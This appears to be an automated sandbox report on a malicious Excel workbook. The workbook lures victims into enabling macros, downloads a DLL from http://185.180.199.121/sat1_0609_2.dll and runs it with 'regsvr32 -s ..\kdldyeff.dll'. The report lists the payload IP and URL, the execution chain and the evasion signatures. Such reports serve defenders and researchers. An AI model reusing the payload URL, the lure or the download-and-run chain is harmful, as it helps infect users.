Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://store.office.com/addinstemplate
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://store.office.de/addinstemplate
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://tasks.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://templatelogging.office.com/client/log
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://web.microsoftstream.com/video/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://webshell.suite.office.com
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://wus2.contentsync.
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://wus2.pagecontentsync.
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: sat1_0609_2[1].dll.0.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: B709A3E3-2143-4926-A150-50001F594891.0.dr String found in binary or memory: https://www.odwebp.svc.ms

System Summary:

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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable editing " to unlock the editing document downloaded from the Internet. . , " El 14 Protecte
Source: Screenshot number: 4 Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start ' ,, , , 18 the decryption of
Found Excel 4.0 Macro with suspicious formulas
Source: Order_Summary-9632850.xlsb Initial sample: CALL
Source: Order_Summary-9632850.xlsb Initial sample: CALL
Source: Order_Summary-9632850.xlsb Initial sample: EXEC
Office process drops PE file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\sat1_0609_2[1].dll Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\regsvr32.exe Process Stats: CPU usage > 98%
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\sat1_0609_2[1].dll 337A487F1CB8F16200A5D14CAC1DAC3478E95CF3077B3872D319970131BEA702
Source: Joe Sandbox View Dropped File: C:\Users\user\kdldyeff.dll 337A487F1CB8F16200A5D14CAC1DAC3478E95CF3077B3872D319970131BEA702
Tries to load missing DLLs
Source: C:\Windows\SysWOW64\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: classification engine Classification label: mal88.expl.evad.winXLSB@5/10@0/1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\{9D11D15E-C66E-40D8-82BE-500D324727B3} - OProcSessId.dat Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: Order_Summary-9632850.xlsb Initial sample: OLE zip file path = xl/media/image1.png
Source: Order_Summary-9632850.xlsb Initial sample: OLE zip file path = xl/media/image2.png
Source: Order_Summary-9632850.xlsb Initial sample: OLE zip file path = xl/media/image3.png
Source: Order_Summary-9632850.xlsb Initial sample: OLE zip file path = xl/media/image4.png
Source: Order_Summary-9632850.xlsb Initial sample: OLE zip file path = xl/media/image5.png
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior

Data Obfuscation:

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Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 3_2_029A1030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError, 3_2_029A1030
Registers a DLL
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 3_2_04602AF0 push dword ptr [edx+14h]; ret 3_2_04602BFD

Persistence and Installation Behavior:

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Drops PE files
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\sat1_0609_2[1].dll Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file

Boot Survival:

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Drops PE files to the user root directory
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE File created: C:\Users\user\kdldyeff.dll Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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Found dropped PE file which has not been started or loaded
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\sat1_0609_2[1].dll Jump to dropped file

Anti Debugging:

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Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 3_2_029A1030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError, 3_2_029A1030
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 3_2_029A1030 mov eax, dword ptr fs:[00000030h] 3_2_029A1030
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 3_2_048E095E mov eax, dword ptr fs:[00000030h] 3_2_048E095E
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 3_2_048E0456 mov eax, dword ptr fs:[00000030h] 3_2_048E0456
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\regsvr32.exe Code function: 3_2_029A1030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError, 3_2_029A1030

HIPS / PFW / Operating System Protection Evasion:

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Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\regsvr32.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe Jump to behavior
Yara detected Xls With Macro 4.0
Source: Yara match File source: app.xml, type: SAMPLE
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 432380 Sample: Order_Summary-9632850.xlsb Startdate: 10/06/2021 Architecture: WINDOWS Score: 88 24 Document exploit detected (drops PE files) 2->24 26 Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) 2->26 28 Drops PE files to the user root directory 2->28 30 4 other signatures 2->30 7 EXCEL.EXE 28 46 2->7         started        process3 dnsIp4 22 185.180.199.121, 49715, 80 HOSTING-SOLUTIONSUS Netherlands 7->22 16 C:\Users\user\kdldyeff.dll, PE32 7->16 dropped 18 C:\Users\user\AppData\...\sat1_0609_2[1].dll, PE32 7->18 dropped 20 C:\Users\...\~$Order_Summary-9632850.xlsb, data 7->20 dropped 32 Document exploit detected (creates forbidden files) 7->32 34 Document exploit detected (UrlDownloadToFile) 7->34 12 regsvr32.exe 7->12         started        file5 signatures6 process7 process8 14 cmd.exe 12->14         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.180.199.121
 unknown Netherlands
14576 HOSTING-SOLUTIONSUS false

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.180.199.121/sat1_0609_2.dll false
  • Avira URL Cloud: safe
 unknown